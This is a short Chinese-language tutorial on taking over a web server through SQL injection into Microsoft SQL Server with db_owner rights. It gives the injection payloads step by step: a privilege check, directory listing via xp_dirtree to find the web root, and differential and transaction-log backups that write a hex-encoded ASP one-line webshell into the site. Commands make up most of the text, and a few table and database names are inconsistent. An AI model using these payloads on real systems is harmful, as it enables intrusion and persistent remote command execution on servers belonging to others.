mssql db_owner权限拿shell

如果站库同服务器,且权限为db_owner的话,那么我们可以考虑直接写入一句话。但写入一句话的前提就是知道web物理路径列出web目录。然后利用sql语句创建一个临时表然后将这个一句话插入到这个临时表再进行备份,备份成asp文件就成功得到一个一句话后门了然后连接就OK了

1.判断数据库权限

And 1=(select is_member('db_owner'));--

2.利用xp_dirtree查找web物理目录
如果我们用DB权限写入一句话是需要知道web目录
执行如下:

;create table temp (dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--

再执行:

;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1

利用xp_dirtree 查询 将指定目录文件盒文件夹插入到临时表中 这里查询的是C盘目录
3.写入一句话木马

MSSQL常用的备份策略是:

每周一次完整备份
每天一次差异备份
每小时一次事务日志备份

1)差异备份: 创建差异数据库备份需要有以前的完整数据库备份。

backup database 库名 to disk = 'c:\tmp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database 库名 to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;

2)备份事务日志

alter database test set RECOVERY FULL;
create table test_tmp (a image);
backup log web1 to disk = 'c:\cmd' with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log test to disk = 'c:\shell.asp';